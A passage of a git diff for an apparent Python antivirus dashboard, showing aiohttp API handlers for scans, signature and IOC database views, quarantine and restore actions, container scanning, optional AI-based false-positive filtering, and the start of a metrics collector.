setup_routes(app: web.Application) -> None: + """Register all API routes on the aiohttp app.""" + app.router.add_get("/api/health", handle_health) + app.router.add_get("/api/status", handle_status) + app.router.add_get("/api/threats", handle_threats) + app.router.add_get("/api/threat-stats", handle_threat_stats) + app.router.add_get("/api/scans", handle_scans) + app.router.add_get("/api/scan-chart", handle_scan_chart) + app.router.add_get("/api/quarantine", handle_quarantine) + app.router.add_get("/api/signatures", handle_signatures) + app.router.add_get("/api/sig-updates", handle_sig_updates) + app.router.add_get("/api/definitions", handle_definitions) + app.router.add_get("/api/logs", handle_logs) + app.router.add_get("/api/metrics-history", handle_metrics_history) + # Action endpoints + app.router.add_post("/api/actions/quick-scan", handle_action_quick_scan) + app.router.add_post("/api/actions/full-scan", handle_action_full_scan) + app.router.add_post("/api/actions/update-sigs", handle_action_update_sigs) + app.router.add_post("/api/actions/update-feed", handle_action_update_feed) + # Threat action endpoints + app.router.add_post("/api/actions/quarantine", handle_action_quarantine) + app.router.add_post("/api/actions/delete-threat", handle_action_delete_threat) + app.router.add_post("/api/actions/whitelist", handle_action_whitelist) + app.router.add_post("/api/actions/restore", handle_action_restore) + app.router.add_post("/api/actions/ai-analyze", handle_action_ai_analyze) + # Container endpoints + app.router.add_get("/api/containers", handle_containers) + app.router.add_get("/api/container-scan", handle_container_scan_results) + app.router.add_post("/api/actions/scan-containers", handle_action_scan_containers) + app.router.add_post("/api/actions/scan-container", handle_action_scan_single_container) + + +# ------------------------------------------------------------------ +# Helpers +# ------------------------------------------------------------------ + +def _json(data: object, status: int = 200) -> web.Response: + return web.json_response(data, status=status) + + +def _get_ai_analyzer(app): + """Lazy-init the AI analyzer singleton on the app.""" + if "_ai_analyzer" not in app: + from ayn_antivirus.detectors.ai_analyzer import AIAnalyzer + import os + key = os.environ.get("ANTHROPIC_API_KEY", "") + app["_ai_analyzer"] = AIAnalyzer(api_key=key) if key else None + return app.get("_ai_analyzer") + + +def _ai_filter_threats(app, store, threats_data: list) -> list: + """Run AI analysis on detections. Returns only real threats.""" + ai = _get_ai_analyzer(app) + if not ai or not ai.available: + return threats_data # No AI — pass all through + + filtered = [] + for t in threats_data: + verdict = ai.analyze( + file_path=t["file_path"], + threat_name=t["threat_name"], + threat_type=t["threat_type"], + severity=t["severity"], + detector=t["detector"], + confidence=t.get("confidence", 50), + ) + t["ai_verdict"] = verdict.verdict + t["ai_confidence"] = verdict.confidence + t["ai_reason"] = verdict.reason + t["ai_action"] = verdict.recommended_action + + if verdict.is_safe: + store.log_activity( + f"AI dismissed: {t['file_path']} ({t['threat_name']}) — {verdict.reason}", + "INFO", "ai_analyzer", + ) + continue # Skip false positive + + filtered.append(t) + + dismissed = len(threats_data) - len(filtered) + if dismissed: + store.log_activity( + f"AI filtered {dismissed}/{len(threats_data)} false positives", + "INFO", "ai_analyzer", + ) + return filtered + + +def _auto_quarantine(store, vault, file_path: str, threat_name: str, severity: str) -> str: + """Quarantine a file automatically. Returns quarantine ID or empty string.""" + if not vault: + return "" + import os + if not os.path.isfile(file_path): + return "" + try: + qid = vault.quarantine_file( + file_path=file_path, + threat_name=threat_name, + threat_type="auto", + severity=severity, + ) + store.log_activity( + f"Auto-quarantined: {file_path} ({threat_name})", + "WARNING", "quarantine", + ) + return qid + except Exception as exc: + logger.warning("Auto-quarantine failed for %s: %s", file_path, exc) + return "" + + +def _safe_int( + val: str, default: int, min_val: int = 1, max_val: int = 1000, +) -> int: + """Parse an integer query param with clamping and fallback.""" + try: + n = int(val) + return max(min_val, min(n, max_val)) + except (ValueError, TypeError): + return default + + +def _threat_type_str(tt: object) -> str: + """Convert a ThreatType enum (or anything) to a string.""" + return tt.name if hasattr(tt, "name") else str(tt) + + +def _severity_str(sev: object) -> str: + """Convert a Severity enum (or anything) to a string.""" + return sev.name if hasattr(sev, "name") else str(sev) + + +# ------------------------------------------------------------------ +# Read-only endpoints +# ------------------------------------------------------------------ + +async def handle_health(request: web.Request) -> web.Response: + """GET /api/health - System health metrics (live snapshot).""" + collector = request.app["collector"] + snapshot = await asyncio.to_thread(collector.get_snapshot) + return _json(snapshot) + + +async def handle_status(request: web.Request) -> web.Response: + """GET /api/status - Protection status overview.""" + store = request.app["store"] + + def _get() -> dict: + threat_stats = store.get_threat_stats() + scans = store.get_recent_scans(1) + sig_stats = store.get_sig_stats() + latest_metrics = store.get_latest_metrics() + + quarantine_count = 0 + try: + vault = request.app.get("vault") + if vault: + quarantine_count = vault.count() + except Exception: + pass + + try: + import psutil + uptime_secs = int(time.time() - psutil.boot_time()) + except Exception: + uptime_secs = 0 + + last_scan = scans[0] if scans else None + + return { + "hostname": platform.node(), + "os": f"{platform.system()} {platform.release()}", + "arch": platform.machine(), + "uptime_seconds": uptime_secs, + "protection_active": True, + "last_scan": last_scan, + "threats": threat_stats, + "signatures": sig_stats, + "quarantine_count": quarantine_count, + "metrics": latest_metrics, + "server_time": datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S"), + } + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_threats(request: web.Request) -> web.Response: + """GET /api/threats?limit=50 - Recent threats list.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "50"), 50, max_val=500) + threats = await asyncio.to_thread(store.get_recent_threats, limit) + return _json({"threats": threats, "count": len(threats)}) + + +async def handle_threat_stats(request: web.Request) -> web.Response: + """GET /api/threat-stats - Threat statistics.""" + store = request.app["store"] + stats = await asyncio.to_thread(store.get_threat_stats) + return _json(stats) + + +async def handle_scans(request: web.Request) -> web.Response: + """GET /api/scans?limit=30 - Recent scan history.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "30"), 30, max_val=500) + scans = await asyncio.to_thread(store.get_recent_scans, limit) + return _json({"scans": scans, "count": len(scans)}) + + +async def handle_scan_chart(request: web.Request) -> web.Response: + """GET /api/scan-chart?days=30 - Scan history chart data.""" + store = request.app["store"] + days = _safe_int(request.query.get("days", "30"), 30, max_val=365) + data = await asyncio.to_thread(store.get_scan_chart_data, days) + return _json({"chart": data}) + + +async def handle_quarantine(request: web.Request) -> web.Response: + """GET /api/quarantine - Quarantine vault status.""" + vault = request.app.get("vault") + if not vault: + return _json({"count": 0, "items": [], "total_size": 0}) + + def _get() -> dict: + items = vault.list_quarantined() + total_size = sum( + item.get("file_size", 0) or item.get("size", 0) for item in items + ) + return {"count": len(items), "items": items[:20], "total_size": total_size} + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_signatures(request: web.Request) -> web.Response: + """GET /api/signatures - Signature database stats.""" + store = request.app["store"] + + def _get() -> dict: + sig_stats = store.get_sig_stats() + config = request.app.get("config") + if config: + try: + from ayn_antivirus.signatures.db.hash_db import HashDatabase + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + hdb = HashDatabase(config.db_path) + hdb.initialize() + idb = IOCDatabase(config.db_path) + idb.initialize() + + sig_stats["db_hash_count"] = hdb.count() + sig_stats["db_hash_stats"] = hdb.get_stats() + sig_stats["db_ioc_stats"] = idb.get_stats() + sig_stats["db_malicious_ips"] = len(idb.get_all_malicious_ips()) + sig_stats["db_malicious_domains"] = len( + idb.get_all_malicious_domains() + ) + hdb.close() + idb.close() + except Exception as exc: + sig_stats["db_error"] = str(exc) + return sig_stats + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_sig_updates(request: web.Request) -> web.Response: + """GET /api/sig-updates?limit=20 - Recent signature update history.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "20"), 20, max_val=200) + updates = await asyncio.to_thread(store.get_recent_sig_updates, limit) + return _json({"updates": updates, "count": len(updates)}) + + +async def handle_definitions(request: web.Request) -> web.Response: + """GET /api/definitions - Full virus definition database view. + + Supports pagination (``page``, ``per_page``), search (``search``), + and type filtering (``type=hash|ip|domain|url``). + """ + store = request.app["store"] + config = request.app.get("config") + page = _safe_int(request.query.get("page", "1"), 1, max_val=10000) + per_page = _safe_int(request.query.get("per_page", "100"), 100, max_val=500) + search = request.query.get("search", "").strip() + filter_type = request.query.get("type", "").strip() + + def _get() -> dict: + result: dict = { + "hashes": [], + "ips": [], + "domains": [], + "urls": [], + "total_hashes": 0, + "total_ips": 0, + "total_domains": 0, + "total_urls": 0, + "page": page, + "per_page": per_page, + "feeds": [], + "last_update": None, + } + + if not config: + return result + + try: + from ayn_antivirus.signatures.db.hash_db import HashDatabase + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + hdb = HashDatabase(config.db_path) + hdb.initialize() + idb = IOCDatabase(config.db_path) + idb.initialize() + + offset = (page - 1) * per_page + conn = hdb.conn + + # Hash definitions + if not filter_type or filter_type == "hash": + if search: + rows = conn.execute( + "SELECT hash, threat_name, threat_type, severity, source, " + "added_date, details FROM threats " + "WHERE threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = conn.execute( + "SELECT hash, threat_name, threat_type, severity, source, " + "added_date, details FROM threats " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["hashes"] = [dict(r) for r in rows] + result["total_hashes"] = hdb.count() + + # IP definitions + ioc_conn = idb.conn + if not filter_type or filter_type == "ip": + if search: + rows = ioc_conn.execute( + "SELECT ip, threat_name, type, source, added_date " + "FROM ioc_ips " + "WHERE ip LIKE ? OR threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = ioc_conn.execute( + "SELECT ip, threat_name, type, source, added_date " + "FROM ioc_ips " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["ips"] = [dict(r) for r in rows] + result["total_ips"] = ioc_conn.execute( + "SELECT COUNT(*) FROM ioc_ips" + ).fetchone()[0] + + # Domain definitions + if not filter_type or filter_type == "domain": + if search: + rows = ioc_conn.execute( + "SELECT domain, threat_name, type, source, added_date " + "FROM ioc_domains " + "WHERE domain LIKE ? OR threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = ioc_conn.execute( + "SELECT domain, threat_name, type, source, added_date " + "FROM ioc_domains " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["domains"] = [dict(r) for r in rows] + result["total_domains"] = ioc_conn.execute( + "SELECT COUNT(*) FROM ioc_domains" + ).fetchone()[0] + + # URL definitions + if not filter_type or filter_type == "url": + if search: + rows = ioc_conn.execute( + "SELECT url, threat_name, type, source, added_date " + "FROM ioc_urls " + "WHERE url LIKE ? OR threat_name LIKE ? " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (f"%{search}%", f"%{search}%", per_page, offset), + ).fetchall() + else: + rows = ioc_conn.execute( + "SELECT url, threat_name, type, source, added_date " + "FROM ioc_urls " + "ORDER BY added_date DESC LIMIT ? OFFSET ?", + (per_page, offset), + ).fetchall() + result["urls"] = [dict(r) for r in rows] + result["total_urls"] = ioc_conn.execute( + "SELECT COUNT(*) FROM ioc_urls" + ).fetchone()[0] + + # Feed info + sig_updates = store.get_recent_sig_updates(20) + result["feeds"] = sig_updates + result["last_update"] = ( + sig_updates[0]["timestamp"] if sig_updates else None + ) + + hdb.close() + idb.close() + except Exception as exc: + result["error"] = str(exc) + logger.error("Error fetching definitions: %s", exc) + + return result + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_logs(request: web.Request) -> web.Response: + """GET /api/logs?limit=20 - Recent activity logs.""" + store = request.app["store"] + limit = _safe_int(request.query.get("limit", "20"), 20, max_val=500) + logs = await asyncio.to_thread(store.get_recent_logs, limit) + return _json({"logs": logs, "count": len(logs)}) + + +async def handle_metrics_history(request: web.Request) -> web.Response: + """GET /api/metrics-history?hours=1 - Metrics time series.""" + store = request.app["store"] + hours = _safe_int(request.query.get("hours", "1"), 1, max_val=168) + data = await asyncio.to_thread(store.get_metrics_history, hours) + return _json({"metrics": data, "count": len(data)}) + + +# ------------------------------------------------------------------ +# Action handlers (trigger scans / updates) +# ------------------------------------------------------------------ + +async def handle_action_quick_scan(request: web.Request) -> web.Response: + """POST /api/actions/quick-scan - Trigger a quick scan.""" + store = request.app["store"] + store.log_activity("Quick scan triggered from dashboard", "INFO", "dashboard") + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.core.engine import ScanEngine + + config = request.app.get("config") or Config() + engine = ScanEngine(config) + result = engine.quick_scan() + + store.record_scan( + scan_type="quick", + scan_path=",".join(config.scan_paths), + files_scanned=result.files_scanned, + files_skipped=result.files_skipped, + threats_found=len(result.threats), + duration=result.duration_seconds, + ) + + # Build detection list for AI analysis + raw_threats = [] + for t in result.threats: + raw_threats.append({ + "file_path": t.path, + "threat_name": t.threat_name, + "threat_type": _threat_type_str(t.threat_type), + "severity": _severity_str(t.severity), + "detector": t.detector_name, + "file_hash": t.file_hash or "", + "confidence": getattr(t, "confidence", 50), + }) + + # AI filters out false positives + verified = _ai_filter_threats(request.app, store, raw_threats) + + vault = request.app.get("vault") + quarantined = 0 + for t in verified: + ai_action = t.get("ai_action", "quarantine") + sev = t["severity"] + qid = "" + if ai_action in ("quarantine", "delete"): + qid = _auto_quarantine(store, vault, t["file_path"], t["threat_name"], sev) + action = "quarantined" if qid else ("monitoring" if ai_action == "monitor" else "detected") + details = t.get("ai_reason", "") + store.record_threat( + file_path=t["file_path"], + threat_name=t["threat_name"], + threat_type=t["threat_type"], + severity=sev, + detector=t["detector"], + file_hash=t.get("file_hash", ""), + action=action, + details=f"[AI: {t.get('ai_verdict','?')} {t.get('ai_confidence',0)}%] {details}", + ) + if qid: + quarantined += 1 + + return { + "status": "completed", + "files_scanned": result.files_scanned, + "threats_found": len(verified), + "ai_dismissed": len(result.threats) - len(verified), + "quarantined": quarantined, + } + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Quick scan failed: %s", exc) + store.log_activity(f"Quick scan failed: {exc}", "ERROR", "dashboard") + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_full_scan(request: web.Request) -> web.Response: + """POST /api/actions/full-scan - Trigger a full scan.""" + store = request.app["store"] + store.log_activity("Full scan triggered from dashboard", "INFO", "dashboard") + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.core.engine import ScanEngine + + config = request.app.get("config") or Config() + engine = ScanEngine(config) + result = engine.full_scan() + + file_result = result.file_scan + store.record_scan( + scan_type="full", + scan_path=",".join(config.scan_paths), + files_scanned=file_result.files_scanned, + files_skipped=file_result.files_skipped, + threats_found=len(file_result.threats), + duration=file_result.duration_seconds, + ) + + raw_threats = [] + for t in file_result.threats: + raw_threats.append({ + "file_path": t.path, + "threat_name": t.threat_name, + "threat_type": _threat_type_str(t.threat_type), + "severity": _severity_str(t.severity), + "detector": t.detector_name, + "file_hash": t.file_hash or "", + "confidence": getattr(t, "confidence", 50), + }) + + verified = _ai_filter_threats(request.app, store, raw_threats) + + vault = request.app.get("vault") + quarantined = 0 + for t in verified: + ai_action = t.get("ai_action", "quarantine") + sev = t["severity"] + qid = "" + if ai_action in ("quarantine", "delete"): + qid = _auto_quarantine(store, vault, t["file_path"], t["threat_name"], sev) + action = "quarantined" if qid else ("monitoring" if ai_action == "monitor" else "detected") + details = t.get("ai_reason", "") + store.record_threat( + file_path=t["file_path"], + threat_name=t["threat_name"], + threat_type=t["threat_type"], + severity=sev, + detector=t["detector"], + file_hash=t.get("file_hash", ""), + action=action, + details=f"[AI: {t.get('ai_verdict','?')} {t.get('ai_confidence',0)}%] {details}", + ) + if qid: + quarantined += 1 + + return { + "status": "completed", + "total_threats": result.total_threats, + "ai_verified": len(verified), + "ai_dismissed": len(raw_threats) - len(verified), + "quarantined": quarantined, + } + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Full scan failed: %s", exc) + store.log_activity(f"Full scan failed: {exc}", "ERROR", "dashboard") + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_update_sigs(request: web.Request) -> web.Response: + """POST /api/actions/update-sigs - Update all threat signature feeds.""" + store = request.app["store"] + store.log_activity( + "Signature update triggered from dashboard", "INFO", "dashboard" + ) + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.signatures.manager import SignatureManager + + config = request.app.get("config") or Config() + manager = SignatureManager(config) + summary = manager.update_all() + + # summary = {"feeds": {name: stats}, "total_new": int, "errors": [...]} + for feed_name, feed_result in summary["feeds"].items(): + if "error" in feed_result: + store.record_sig_update( + feed_name=feed_name, + status="error", + details=feed_result.get("error", ""), + ) + else: + store.record_sig_update( + feed_name=feed_name, + hashes=feed_result.get("hashes", 0), + ips=feed_result.get("ips", 0), + domains=feed_result.get("domains", 0), + urls=feed_result.get("urls", 0), + status="success", + details=json.dumps(feed_result), + ) + + manager.close() + + store.log_activity( + f"Signature update completed: {len(summary['feeds'])} feeds, " + f"{summary['total_new']} new entries", + "INFO", + "signatures", + ) + return { + "status": "completed", + "feeds_updated": len(summary["feeds"]) - len(summary["errors"]), + "total_new": summary["total_new"], + "errors": summary["errors"], + } + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Signature update failed: %s", exc) + store.log_activity( + f"Signature update failed: {exc}", "ERROR", "signatures" + ) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_update_feed(request: web.Request) -> web.Response: + """POST /api/actions/update-feed - Update a single feed. + + Body: ``{"feed": "malwarebazaar"}`` + """ + store = request.app["store"] + + try: + body = await request.json() + feed_name = body.get("feed", "") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not feed_name: + return _json({"error": "Missing 'feed' parameter"}, 400) + + store.log_activity( + f"Single feed update triggered: {feed_name}", "INFO", "dashboard" + ) + + def _run() -> dict: + from ayn_antivirus.config import Config + from ayn_antivirus.signatures.manager import SignatureManager + + config = request.app.get("config") or Config() + manager = SignatureManager(config) + result = manager.update_feed(feed_name) + + store.record_sig_update( + feed_name=feed_name, + hashes=result.get("hashes", 0), + ips=result.get("ips", 0), + domains=result.get("domains", 0), + urls=result.get("urls", 0), + status="success", + details=json.dumps(result), + ) + + manager.close() + return {"status": "completed", "feed": feed_name, "result": result} + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except KeyError as exc: + return _json({"status": "error", "error": str(exc)}, 404) + except Exception as exc: + logger.error("Feed update failed for %s: %s", feed_name, exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +# ------------------------------------------------------------------ +# Threat action handlers (quarantine / delete / whitelist) +# ------------------------------------------------------------------ + +async def handle_action_quarantine(request: web.Request) -> web.Response: + """POST /api/actions/quarantine — Move a file to encrypted quarantine vault. + + Body: ``{"file_path": "/path/to/file", "threat_id": 5}`` + """ + store = request.app["store"] + vault = request.app.get("vault") + if not vault: + return _json({"status": "error", "error": "Quarantine vault not available"}, 500) + + try: + body = await request.json() + file_path = body.get("file_path", "").strip() + threat_id = body.get("threat_id") + threat_name = body.get("threat_name", "Unknown") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not file_path: + return _json({"error": "Missing 'file_path'"}, 400) + + def _run() -> dict: + import os + if not os.path.exists(file_path): + return {"status": "error", "error": f"File not found: {file_path}"} + + qid = vault.quarantine_file( + file_path=file_path, + threat_name=threat_name, + threat_type="detected", + severity="HIGH", + ) + + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='quarantined' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Quarantined: {file_path} ({threat_name}) -> {qid}", + "WARNING", "quarantine", + ) + return {"status": "ok", "quarantine_id": qid, "file_path": file_path} + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("Quarantine failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_delete_threat(request: web.Request) -> web.Response: + """POST /api/actions/delete-threat — Permanently delete a malicious file. + + Body: ``{"file_path": "/path/to/file", "threat_id": 5}`` + """ + store = request.app["store"] + + try: + body = await request.json() + file_path = body.get("file_path", "").strip() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not file_path: + return _json({"error": "Missing 'file_path'"}, 400) + + def _run() -> dict: + import os + if not os.path.exists(file_path): + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='deleted' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + return {"status": "ok", "message": "File already gone", "file_path": file_path} + + os.remove(file_path) + + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='deleted' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Deleted threat file: {file_path}", "WARNING", "action", + ) + return {"status": "ok", "file_path": file_path} + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Delete failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_whitelist(request: web.Request) -> web.Response: + """POST /api/actions/whitelist — Mark a threat as false positive. + + Body: ``{"threat_id": 5}`` + """ + store = request.app["store"] + + try: + body = await request.json() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not threat_id: + return _json({"error": "Missing 'threat_id'"}, 400) + + def _run() -> dict: + row = store.conn.execute( + "SELECT file_path, threat_name, file_hash FROM threat_log WHERE id=?", + (threat_id,), + ).fetchone() + if not row: + return {"status": "error", "error": "Threat not found"} + + store.conn.execute( + "UPDATE threat_log SET action_taken='whitelisted' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Whitelisted: {row['file_path']} ({row['threat_name']})", + "INFO", "action", + ) + return {"status": "ok", "threat_id": threat_id} + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("Whitelist failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_ai_analyze(request: web.Request) -> web.Response: + """POST /api/actions/ai-analyze — Run AI analysis on a specific threat. + + Body: ``{"threat_id": 5}`` + """ + store = request.app["store"] + try: + body = await request.json() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not threat_id: + return _json({"error": "Missing 'threat_id'"}, 400) + + def _run() -> dict: + row = store.conn.execute( + "SELECT * FROM threat_log WHERE id=?", (threat_id,), + ).fetchone() + if not row: + return {"status": "error", "error": "Threat not found"} + + ai = _get_ai_analyzer(request.app) + if not ai or not ai.available: + return {"status": "error", "error": "AI not configured. Set ANTHROPIC_API_KEY."} + + r = dict(row) + verdict = ai.analyze( + file_path=r["file_path"], + threat_name=r["threat_name"], + threat_type=r["threat_type"], + severity=r["severity"], + detector=r["detector"], + ) + + store.conn.execute( + "UPDATE threat_log SET details=? WHERE id=?", + (f"[AI: {verdict.verdict} {verdict.confidence}%] {verdict.reason}", threat_id), + ) + store.conn.commit() + + store.log_activity( + f"AI analyzed #{threat_id}: {verdict.verdict} — {verdict.reason}", + "INFO", "ai_analyzer", + ) + return { + "status": "ok", + "verdict": verdict.verdict, + "confidence": verdict.confidence, + "reason": verdict.reason, + "recommended_action": verdict.recommended_action, + } + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("AI analysis failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_restore(request: web.Request) -> web.Response: + """POST /api/actions/restore — Restore a quarantined file. + + Body: ``{"file_path": "/original/path", "threat_id": 5}`` + """ + store = request.app["store"] + vault = request.app.get("vault") + if not vault: + return _json({"status": "error", "error": "Vault not available"}, 500) + + try: + body = await request.json() + file_path = body.get("file_path", "").strip() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not file_path: + return _json({"error": "Missing 'file_path'"}, 400) + + def _run() -> dict: + items = vault.list_quarantined() + qid = None + for item in items: + if item.get("original_path") == file_path: + qid = item.get("id") + break + if not qid: + return {"status": "error", "error": f"No quarantine entry for {file_path}"} + + vault.restore_file(qid) + + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='restored' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Restored from quarantine: {file_path}", "WARNING", "quarantine", + ) + return {"status": "ok", "file_path": file_path} + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("Restore failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +# ------------------------------------------------------------------ +# Container endpoints +# ------------------------------------------------------------------ + +async def handle_containers(request: web.Request) -> web.Response: + """GET /api/containers - List all containers across runtimes.""" + + def _get() -> dict: + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + containers = scanner.list_containers( + runtime="all", include_stopped=True, + ) + return { + "containers": [c.to_dict() for c in containers], + "count": len(containers), + "runtimes": scanner.available_runtimes, + } + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_container_scan_results(request: web.Request) -> web.Response: + """GET /api/container-scan - Recent container scan results from store.""" + store = request.app["store"] + + def _get() -> dict: + scans = store.conn.execute( + "SELECT * FROM scan_history " + "WHERE scan_type LIKE 'container%' " + "ORDER BY id DESC LIMIT 10", + ).fetchall() + threats = store.conn.execute( + "SELECT * FROM threat_log WHERE " + "LOWER(threat_type) IN ('miner','misconfiguration','rootkit') " + "OR LOWER(detector) = 'container_scanner' " + "ORDER BY id DESC LIMIT 50", + ).fetchall() + return { + "scans": [dict(r) for r in scans], + "threats": [dict(t) for t in threats], + } + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_action_scan_containers(request: web.Request) -> web.Response: + """POST /api/actions/scan-containers - Scan all containers.""" + store = request.app["store"] + store.log_activity( + "Container scan triggered from dashboard", "INFO", "dashboard", + ) + + def _run() -> dict: + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + result = scanner.scan("all") + + store.record_scan( + scan_type="container-full", + scan_path="all-containers", + files_scanned=result.containers_scanned, + files_skipped=0, + threats_found=len(result.threats), + duration=result.duration_seconds, + status=( + "completed" + if not result.errors + else "completed_with_errors" + ), + ) + + for t in result.threats: + store.record_threat( + file_path=t.file_path or f"container:{t.container_name}", + threat_name=t.threat_name, + threat_type=t.threat_type, + severity=t.severity, + detector="container_scanner", + file_hash="", + action="detected", + details=f"[{t.runtime}] {t.container_name}: {t.details}", + ) + + store.log_activity( + f"Container scan complete: {result.containers_found} found, " + f"{result.containers_scanned} scanned, " + f"{len(result.threats)} threats", + "INFO", + "container_scanner", + ) + return result.to_dict() + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Container scan failed: %s", exc) + store.log_activity( + f"Container scan failed: {exc}", "ERROR", "container_scanner", + ) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_scan_single_container( + request: web.Request, +) -> web.Response: + """POST /api/actions/scan-container - Scan a single container. + + Body: ``{"container_id": "abc123"}`` + """ + store = request.app["store"] + + try: + body = await request.json() + container_id = body.get("container_id", "") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not container_id: + return _json({"error": "Missing 'container_id'"}, 400) + + store.log_activity( + f"Single container scan: {container_id}", "INFO", "dashboard", + ) + + def _run() -> dict: + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + result = scanner.scan_container(container_id) + + store.record_scan( + scan_type="container-single", + scan_path=container_id, + files_scanned=result.containers_scanned, + files_skipped=0, + threats_found=len(result.threats), + duration=result.duration_seconds, + ) + + for t in result.threats: + store.record_threat( + file_path=t.file_path or f"container:{t.container_name}", + threat_name=t.threat_name, + threat_type=t.threat_type, + severity=t.severity, + detector="container_scanner", + details=f"[{t.runtime}] {t.container_name}: {t.details}", + ) + + return result.to_dict() + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Container scan failed for %s: %s", container_id, exc) + return _json({"status": "error", "error": str(exc)}, 500) diff --git a/ayn-antivirus/ayn_antivirus/dashboard/collector.py b/ayn-antivirus/ayn_antivirus/dashboard/collector.py new file mode 100644 index 0000000..eea1da0 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/collector.py @@ -0,0 +1,181 @@ +"""Background metrics collector for the AYN Antivirus dashboard.""" + +from __future__ import annotations + +import asyncio +import logging +import os +import random +from datetime import datetime +from typing import Any, Dict, Optional + +import psutil + +from ayn_antivirus.constants import DASHBOARD_COLLECTOR_INTERVAL + +logger = logging.getLogger("ayn_antivirus.dashboard.collector") + + +class MetricsCollector: + """Periodically sample system metrics and store them in the dashboard DB. + + Parameters + ---------- + store: + A :class:`DashboardStore` instance to write metrics into. + interval: + Seconds between samples. + """ + + def __init__(self, store: Any, interval: int = DASHBOARD_COLLECTOR_INTERVAL) -> None: + self.store = store + self.interval = interval + self._task: Optional[asyncio.Task] = None + self._running = False + + async def start(self) -> None: + """Begin collecting metrics on a background asyncio task.""" + self._running = True + self._task = asyncio.create_task(self._collect_loop()) + logger.info("Metrics collector started (interval=%ds)", self.interval) + + async def stop(self) -> None: + """Cancel the background task and wait for it to finish.""" + self._running = False + if self._task: + self._task.cancel() + try: + await self._task + except asyncio.CancelledError: + pass + logger.info("Metrics collector stopped") + + # ------------------------------------------------------------------ + # Internal loop + # ------------------------------------------------------------------ + + async def _collect_loop(self) -> None: + while self._running: + try: + await asyncio.to_thread(self._sample) + except Exception as exc: + logger.error("Collector error: %s", exc) + await asyncio.sleep(self.interval) + + def _sample(self) -> None: + """Take a single metric snapshot and persist 